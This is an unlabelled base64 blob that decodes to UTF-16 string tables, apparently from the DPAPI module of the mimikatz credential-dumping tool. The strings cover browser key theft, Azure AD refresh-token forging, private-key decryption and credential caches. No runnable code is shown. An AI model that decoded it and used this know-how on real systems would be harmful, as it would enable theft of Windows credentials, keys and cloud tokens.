UgAgAGs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AIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGEAdABlAF8AZABhAHQAYQAgADsAIABTAGUAdABGAGkAbABlAEEAdAB0AHIAaQBiAHUAdABlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAYQB0AGUAXwBkAGEAdABhACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGEAdABlAF8AZABhAHQAYQAgADsAIABOAG8AIABrAGUAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBhAHQAZQAgADsAIABUAE8ARABPACAAZgBvAHIAIABsAG8AYwBhAGwAIABtAGEAYwBoAGkAbgBlACAAcwBlAGMAcgBlAHQAcwAsACAAaQBmACAAbgBlAGUAZABlAGQALgAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBhAHQAZQAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAVABhAHIAZwBlAHQAIABTAEkARAAgAGkAcwA6ACAAJQBzAAoAAAAAAG0AZAA0AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBhAHQAZQAgADsAIABOAG8AIABTAEkARAAgAD8ACgAAAHsAJQBzAH0AAAAAAGsAZQB5AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBhAHQAZQAgADsAIABOAG8AdAAgAGEAIAB2AGEAbABpAGQAIABHAFUASQBEAAoAAAAAAAAATgBvACAAawBlAHkAIABzAHAAZQBjAGkAZgBpAGUAZAAsACAAdQBzAGkAbgBnACAAbABvAGMAYQBsACAAYwBhAGMAaABlAC4ALgAuAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGEAdABlACAAOwAgAE4AbwAgAHQAYQByAGcAZQB0ACAAYwByAGUAZABlAG4AdABpAGEAbABzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZABoAGkAcwB0ACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIABTAEgAQQAxACAAYQBuAGQAIABTAEkARAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkAGgAaQBzAHQAIAA7ACAASQBuAHAAdQB0ACAAYwByAGUAZABoAGkAcwB0ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAAB1AG4AcAByAG8AdABlAGMAdAAAACAAKgAgAHUAcwBpAG4AZwAgAEMAcgB5AHAAdABVAG4AcAByAG8AdABlAGMAdABEAGEAdABhACAAQQBQAEkACgAAAAAAIAAqACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAACAAKgAgAG0AYQBzAHQAZQByAGsAZQB5ACAAIAAgACAAIAA6ACAAAAAgAD4AIABwAHIAbwBtAHAAdAAgAGYAbABhAGcAcwAgACAAOgAgAAAAIAA+ACAAZQBuAHQAcgBvAHAAeQAgACAAIAAgACAAIAAgADoAIAAAACAAPgAgAHAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AcgBhAHcAXwBvAHIAXwBiAGwAbwBiACAAOwAgAE4AVABFAF8AQgBBAEQAXwBLAEUAWQBfAFMAVABBAFQARQAsACAAbgBlAGUAZABlAGQAIABNAGEAcwB0AGUAcgBrAGUAeQAgAGkAcwA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AcgBhAHcAXwBvAHIAXwBiAGwAbwBiACAAOwAgAEMAcgB5AHAAdABVAG4AcAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAgACAAawBlAHkAIAA6ACAAAAAAACAAIABzAGgAYQAxADoAIAAAAAAAIAAgAHMAaQBkACAAOgAgAAAAAAAgACAAIAAAACAALQAtACAAAAAAACAAIAAgAD4AIABOAFQATABNADoAIAAAACAAIAAgAD4AIABTAEgAQQAxADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8AbQBhAHMAdABlAHIAawBlAHkAXwBhAGQAZAAgADsAIABOAG8AIABHAFUASQBEACAAbwByACAASwBlAHkAIABIAGEAcwBoAD8AAAAAAEcAVQBJAEQAOgAAADsAAABLAGUAeQBIAGEAcwBoADoAAAAAAG4AbwB0ACAAAAAAADsASwBlAHkAOgAlAHMAYQB2AGEAaQBsAGEAYgBsAGUACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAGMAcgBlAGQAZQBuAHQAaQBhAGwAXwBhAGQAZAAgADsAIABOAG8AIABTAEkARAA/AAAAAABTAEkARAA6ACUAcwAAAAAATQBEADQAOgAAAAAAUwBIAEEAMQA6AAAATQBEADQAcAA6AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8AZABvAG0AYQBpAG4AawBlAHkAXwBhAGQAZAAgADsAIABOAG8AIABHAFUASQBEACAAbwByACAASwBlAHkAPwAAAEwARQBHAEEAQwBZAAAAAAA7AFQAWQBQAEUAOgAlAHMACgAAAG0AaQBtAGkAawBhAHQAegBfAGQAcABhAHAAaQBfAGMAYQBjAGgAZQAuAG4AZAByAAAAAABmAGkAbABlAAAAAABmAGwAdQBzAGgAAAAKACEAIQAhACAARgBMAFUAUwBIACAAYwBhAGMAaABlACAAIQAhACEACgAAAGwAbwBhAGQAAAAAAAoATABPAEEARAAgAGMAYQBjAGgAZQAKAD0APQA9AD0APQA9AD0APQA9AD0ACgAAAAAAAAAKAEMAUgBFAEQARQBOAFQASQBBAEwAUwAgAGMAYQBjAGgAZQAKAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAAAAAAAoATQBBAFMAVABFAFIASwBFAFkAUwAgAGMAYQBjAGgAZQAKAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgAAAAoARABPAE0AQQBJAE4ASwBFAFkAUwAgAGMAYQBjAGgAZQAKAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgAAAHMAYQB2AGUAAAAAAAoAUwBBAFYARQAgAGMAYQBjAGgAZQAKAD0APQA9AD0APQA9AD0APQA9AD0ACgAAAAAAAABBAHUAdABvACAAUwBJAEQAIABmAHIAbwBtACAAcABhAHQAaAAgAHMAZQBlAG0AcwAgAHQAbwAgAGIAZQA6ACAAJQBzAAoAAABTAEkARAAgAGQAZQB0AGUAYwB0AGUAZAAgAGkAbgAgAHAAYQB0AGgAIABiAHUAdAAgAG4AbwB0ACAAcgBlAGwAZQB2AGEAbgB0ACwAIABjAGEAbgAgAGIAZQAgAGYAbwByAGMAZQBkACAAdwBpAHQAaAAgAC8AcwBpAGQAOgBTAC0AMQAtAC4ALgAuAAoAAABXAGkAbABsACAAZQBuAGMAbwBkAGUAOgAKACAAKgAgACUAMwB1ACAATQBhAHMAdABlAHIASwBlAHkAKABzACkACgAgACoAIAAlADMAdQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAKABzACkACgAgACoAIAAlADMAdQAgAEQAbwBtAGEAaQBuAEsAZQB5ACgAcwApAAoAAAAAAEUAbgBjAG8AZABlAGQAOgAKACAAKgAgAGEAZABkAHIAOgAgADAAeAAlAHAACgAgACoAIABzAGkAegBlADoAIAAlAHUACgAAAFcAcgBpAHQAZQAgAGYAaQBsAGUAIAAnACUAcwAnADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAFMAYQB2AGUAVABvAEYAaQBsAGUAIAA7ACAACgBrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQ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AcgBvAG0AXwBiADYANAAgADsAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AcQB1AGkAYwBrAF8AYgBhAHMAZQA2ADQAXwB0AG8AXwBCAGkAbgBhAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAIgBvAHMAXwBjAHIAeQBwAHQAIgA6AHsAIgBlAG4AYwByAHkAcAB0AGUAZABfAGsAZQB5ACIAOgAiAAAAIgB9AAAAAAAAAAAAPgAgAEUAbgBjAHIAeQBwAHQAZQBkACAASwBlAHkAIABmAG8AdQBuAGQAIABpAG4AIABsAG8AYwBhAGwAIABzAHQAYQB0AGUAIABmAGkAbABlAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAXwBhAGwAZwBfAGsAZQB5AF8AZgByAG8AbQBfAGYAaQBsAGUAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABmAGkAbgBkACAAdABoAGUAIABlAG4AZAAgAG8AZgAgAHQAaABlACAAZQBuAGMAcgB5AHAAdABlAGQAXwBrAGUAeQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlAF8AYQBsAGcAXwBrAGUAeQBfAGYAcgBvAG0AXwBmAGkAbABlACAAOwAgAGUAbgBjAHIAeQBwAHQAZQBkAF8AawBlAHkAIABuAG8AdAAgAGYAbwBuAGQAIABpAG4AIABzAHQAYQB0AGUAIABmAGkAbABlAC4ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAXwBhAGwAZwBfAGsAZQB5AF8AZgByAG8AbQBfAGYAaQBsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACUAcwBcAEwAbwBjAGEAbAAgAFMAdABhAHQAZQAAAAAAYwBvAG4AdABlAHgAdAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAbABvAHUAZABhAHAAXwBrAGUAeQB2AGEAbAB1AGUAXwBkAGUAcgBpAHYAZQBkACAAOwAgAC8AYwBvAG4AdABlAHgAdAAgAG0AdQBzAHQAIABiAGUAIABhAG4AIABoAGUAeAAgAHMAdAByAGkAbgBnACAAbwBmACAANAA4ACAAYwBoAGEAcgAgACgAMgA0ACAAYgB5AHQAZQBzACkAIAAtAC0AIABpAHQAIAB3AGkAbABsACAAYgBlACAAcgBhAG4AZABvAG0ACgAAAAAAQQB6AHUAcgBlAEEARAAtAFMAZQBjAHUAcgBlAEMAbwBuAHYAZQByAHMAYQB0AGkAbwBuAAAAAABsAGEAYgBlAGwAAABMAGEAYgBlAGwAIAAgACAAIAAgACAAOgAgACUALgAqAFMACgBDAG8AbgB0AGUAeAB0ACAAIAAgACAAOgAgAAAAawBlAHkAdgBhAGwAdQBlAAAAAAAAAAAASwBlAHkAIAB0AHkAcABlACAAIAAgADoAIABTAG8AZgB0AHcAYQByAGUAIAAoAFIAQQBXACkACgBDAGwAZQBhAHIAIABrAGUAeQAgACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBsAG8AdQBkAGEAcABfAGsAZQB5AHYAYQBsAHUAZQBfAGQAZQByAGkAdgBlAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAG8AbgB2AGUAcgB0ACAAZgByAG8AbQAgAGgAZQB4AAoAAABrAGUAeQBuAGEAbQBlAAAAAAAAAEsAZQB5ACAAdAB5AHAAZQAgACAAIAA6ACAAVABQAE0AIABwAHIAbwB0AGUAYwB0AGUAZAAgACgAUgBBAFcAKQAKAEsAZQB5ACAATgBhAG0AZQAgACAAIAA6ACAAJQBzAAoATwBwAGEAcQB1AGUAIABrAGUAeQAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGwAbwB1AGQAYQBwAF8AawBlAHkAdgBhAGwAdQBlAF8AZABlAHIAaQB2AGUAZAAgADsAIABBAG4AIABvAHAAYQBxAHUAZQAgAGsAZQB5ACAAbgBlAGUAZAAgAGEAIAAvAGsAZQB5AG4AYQBtAGUAOgBTAEsALQAuAC4ALgAgAHQAbwAgAGkAbQBwAG8AcgB0ACAAaQB0AAoAAAAAAEsAZQB5ACAAdAB5AHAAZQAgACAAIAA6ACAAAABTAG8AZgB0AHcAYQByAGUAIAAoAEQAUABBAFAASQApAAoAQwBsAGUAYQByACAAawBlAHkAIAAgADoAIAAAAAAAVABQAE0AIABwAHIAbwB0AGUAYwB0AGUAZAAgACgARABQAEEAUABJACkACgBLAGUAeQAgAE4AYQBtAGUAIAAgACAAOgAgACUALgAqAHMACgBPAHAAYQBxAHUAZQAgAGsAZQB5ACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBsAG8AdQBkAGEAcABfAGsAZQB5AHYAYQBsAHUAZQBfAGQAZQByAGkAdgBlAGQAIAA7ACAASwBlAHkAVgBhAGwAdQBlACAAdAB5AHAAZQAgAGkAcwAgAG4AbwB0ACAAcwB1AHAAcABvAHIAdABlAGQAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBsAG8AdQBkAGEAcABfAGsAZQB5AHYAYQBsAHUAZQBfAGQAZQByAGkAdgBlAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABkAGUAYwBvAGQAZQAgAGIAYQBzAGUANgA0AAoAAAAAAGQAZQByAGkAdgBlAGQAawBlAHkAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBsAG8AdQBkAGEAcABfAGsAZQB5AHYAYQBsAHUAZQBfAGQAZQByAGkAdgBlAGQAIAA7ACAAYQAgAC8AZABlAHIAaQB2AGUAZABrAGUAeQAgAG0AdQBzAHQAIABiAGUAIABhAG4AIABoAGUAeAAgAHMAdAByAGkAbgBnACAAbwBmACAANgA0ACAAYwBoAGEAcgAgACgAMwAyACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBsAG8AdQBkAGEAcABfAGsAZQB5AHYAYQBsAHUAZQBfAGQAZQByAGkAdgBlAGQAIAA7ACAAYQAgAC8AawBlAHkAdgBhAGwAdQBlADoAYgBhAHMAZQA2ADQAZABhAHQAYQAgACgAbwByACAAcgBhAHcAIAAzADIALwAxADcAOAAgAGIAeQB0AGUAcwAgAGkAbgAgAGgAZQB4ACkAIABtAHUAcwB0ACAAYgBlACAAcAByAGUAcwBlAG4AdAAsACAAbwByACAAYQAgAC8AZABlAHIAaQB2AGUAZABrAGUAeQAAAEQAZQByAGkAdgBlAGQAIABLAGUAeQA6ACAAAABwAHIAdAAAAGkAYQB0AAAASQBzAHMAdQBlAGQAIABhAHQAIAAgADoAIAAlAGwAZAAKAAAACgBTAGkAZwBuAGEAdAB1AHIAZQAgAHcAaQB0AGgAIABrAGUAeQA6AAoAAAAAAAAAJQBTAAoACgAoAGYAbwByACAAeAAtAG0AcwAtAFIAZQBmAHIAZQBzAGgAVABvAGsAZQBuAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABjAG8AbwBrAGkAZQAgAGIAeQAgAGUAZwAuACkACgAAAAAAcABvAHAAAAAKAFMAaQBnAG4AYQB0AHUAcgBlACAAdwBpAHQAaAAgAFAATwBQACAAawBlAHkAOgAKAAAAeyJhbGciOiIlcyIsICJjdHgiOiIlcyJ9AAAAAHsicmVmcmVzaF90b2tlbiI6IiVzIiwgImlzX3ByaW1hcnkiOiJ0cnVlIiwgImlhdCI6IiVsZCJ9AAAAAEhTMjU2AAAAUgBhAHcAIABKAFcAVAA6ACAAJQAuACoAUwAKAAAAAABQAGEAeQBsAG8AYQBkADoAIAAlAC4AKgBTAAoAAAAAAAkAWwAlAHMAXQAKAAAAAAAxAC0AAAAAACAAWwBKAFcAVABdAAoAAAAgAFsASwBlAHkAXQAKAAAARQBSAFIATwBSACAAZABlAGEAbABXAGkAdABoAEUAbgB0AHIAaQBlAHMAIAA7ACAAVQBuAGsAbgBvAHcAIAB0AHkAcABlADoAIAAlAHUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGQAZQBhAGwAVwBpAHQAaABFAG4AdAByAGkAZQBzACAAOwAgAEkAbgBjAG8AbQBwAGEAdABpAGIAbABlACAAUgBFAEcAIAB0AHkAcABlADoAIAAlAHUACgAAAAAAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBBAEQAXABTAHQAbwByAGEAZwBlAAAAWwAlAHUAXQAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAbABvAHUAZABhAHAAXwBmAHIAbwBtAHIAZQBnACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABMAGUAZwBhAGMAeQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAKABzACkAOgAKAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAOgAKAAAAbABzAGEAaQBzAG8AAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAIAA7ACAASQBuAHAAdQB0ACAAQwBSAEUARAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAcABvAGwAaQBjAHkAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAG8AbABpAGMAeQAgAEsAZQB5AHMAOgAKAAAAAAAgACAAQQBFAFMAMQAyADgAIABrAGUAeQA6ACAAAAAAACAAIABBAEUAUwAyADUANgAgAGsAZQB5ADoAIAAAAAAAIAAgAD4AIABBAHQAdAByAGkAYgB1AHQAZQAgACUAdQAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKABwAG8AbABpAGMAeQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAYwByAGUAZAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHYAYQB1AGwAdAAgADsAIABJAG4AcAB1AHQAIABDAHIAZQBkACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGMAcgBlAGQAOgBmAGkAbABlACkACgAAAE0AaQBjAHIAbwBzAG8AZgB0AF8AVwBpAG4ASQBuAGUAdABfAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAYQBkAGQAaQB0AGkAbwBuAGEAbAAgAGIAbABvAGIACgAAACAAIAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAQgBsAG8AYgA6ACAAAABBAHAAcABTAGUAbgBzAGUAXwBEAGEAdABhAE4AbwB3AF8AAAAAAAAACgAqACAASQB2AGEAbgB0AGkAIABGAGkAbABlAEQAaQByAGUAYwB0AG8AcgAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAIABiAGwAbwBiACAAKgAKAAAAQXBwTl9ETl9XaW4AIAAgACAAVQBuAGsAQgBsAG8AYgAgACAAIAAgACAAIAAgADoAIAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABBAFQAXwBTAEkARwBOAEEAVABVAFIARQAgAEUAeABwAG8AcgB0ACAAZgBsAGEAZwBzADoACgAAAAAASGoxZGlRNmtwVXg3VkM0bQAAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAFMASQBHAE4AQQBUAFUAUgBFACAAUAByAGkAdgBhAHQAZQAgAEsAZQB5ADoACgAAAGQAcABhAHAAaQBfAHMAaQBnAG4AYQB0AHUAcgBlAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABBAFQAXwBFAFgAQwBIAEEATgBHAEUAIABFAHgAcABvAHIAdAAgAGYAbABhAGcAcwA6AAoAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAEUAWABDAEgAQQBOAEcARQAgAFAAcgBpAHYAYQB0AGUAIABLAGUAeQA6AAoAAAAAAGQAcABhAHAAaQBfAGUAeABjAGgAYQBuAGcAZQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABJAG4AcAB1AHQAIABDAEEAUABJACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAVgBpAHIAdAB1AGEAbAAgAEkAcwBvAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAHIAaQB2AGEAdABlACAAUAByAG8AcABlAHIAdABpAGUAcwA6AAoAAAA2am5rZDVKM1pkUUR0cnN1AAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAHIAaQB2AGEAdABlACAASwBlAHkAOgAKAAAAAAB4VDVyWlc1cVZWYnJ2cHVBAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAG4AZwAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAEkAbgBwAHUAdAAgAEMATgBHACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAWwAlADAAOAB4AF0AIAAAAEQAUABBAFAASQAgAGUAbgBjAHIAeQBwAHQAZQBkACAAYgBsAG8AYgAKAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAGsAZQB5ACAAZABhAHQAYQA6AAoAAABVAG4AaQBxAHUAZQAgAGMAbwBuAHQAYQBpAG4AZQByACAAbgBhAG0AZQAKACAAIAAlAC4AKgBzAAoAAABLAGUAeQAgAHQAeQBwAGUACgAgACAAJQAuACoAcwAKAAAAAABVAG4AawBuAG8AdwBuAAoAIAAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwB0AHAAbQAgADsAIABCAGEAZAAgAGgAZQBhAGQAZQByAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AdABwAG0AIAA7ACAAQgBhAGQAIABzAGkAegBlAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwB0AHAAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAHQAcABtACAAOwAgAEkAbgBwAHUAdAAgAFQAUABNACAAUABDAFAAIABrAGUAeQAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAACoAKgAgAFAAQwBQACAASwBlAHkAIABCAGwAbwBiACAAKABjAGwAYQBzAHMAaQBjACkAIAAqACoACgAAACAAIABwAGMAcABUAHkAcABlACAAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAKAAAAIAAgAGYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgADAAeAAlADAAOAB4AAoAAAAgACAAVABwAG0ASwBlAHkAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAD4AAAAAAAAAKgAqACAAUABDAFAAIABLAGUAeQAgAEIAbABvAGIAIAAoAFcAaQBuAGQAbwB3AHMAIAAlAHMAOAApACAAKgAqAAoAAAAgACAAUAB1AGIAbABpAGMAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAoAIAAgAFAAcgBpAHYAYQB0AGUAIAAgACAAIAAgACAAIAAgACAAOgAgAAAACgAgACAATQBpAGcAcgBhAHQAaQBvAG4AUAB1AGIAbABpAGMAIAA6ACAAAAAKACAAIABNAGkAZwByAGEAdABpAG8AbgBQAHIAaQB2AGEAdABlADoAIAAAAAoAIAAgAFAAbwBsAGkAYwB5AEQAaQBnAGUAcwB0AEwAaQBzAHQAOgAgAAAACgAgACAAUABDAFIAQgBpAG4AZABpAG4AZwAgACAAIAAgACAAIAA6ACAAAAAKACAAIABQAEMAUgBEAGkAZwBlAHMAdAAgACAAIAAgACAAIAAgADoAIAAAAAoAIAAgAEUAbgBjAHIAeQBwAHQAZQBkAFMAZQBjAHIAZQB0ACAAOgAgAAAACgAgACAAVABwAG0AMQAyAEgAbwBzAHQAYQBnAGUAQgBsAG8AYgA6ACAAAAAKACAAIABwAGMAcgBBAGwAZwBJAGQAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADQAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AdABwAG0AXwBkAGUAcwBjAHIAIAA7ACAAUwBpAHoAZQAgAG8AZgAgAGgAZQBhAGQAZQByACAAaQBzACAAdQBuAGsAbgBvAHcAbgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwB0AHAAbQBfAGQAZQBzAGMAcgAgADsAIABOAG8AIABoAGUAYQBkAGUAcgAgAG0AYQBnAGkAYwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAYwBsAGkAZQBuAHQAAAAAAAAAAABQAGEAcwBzAHcAbwByAGQAIABmAG8AcgAgAGAAJQBTAGAAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABpAHMAIABgACUAUwBgACAAKAB3AGkAdABoAG8AdQB0ACAAYABgACAAcQB1AG8AdABlAHMAKQAKAAAAAABoAGkAdgBlAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBsAHUAbgBhAGg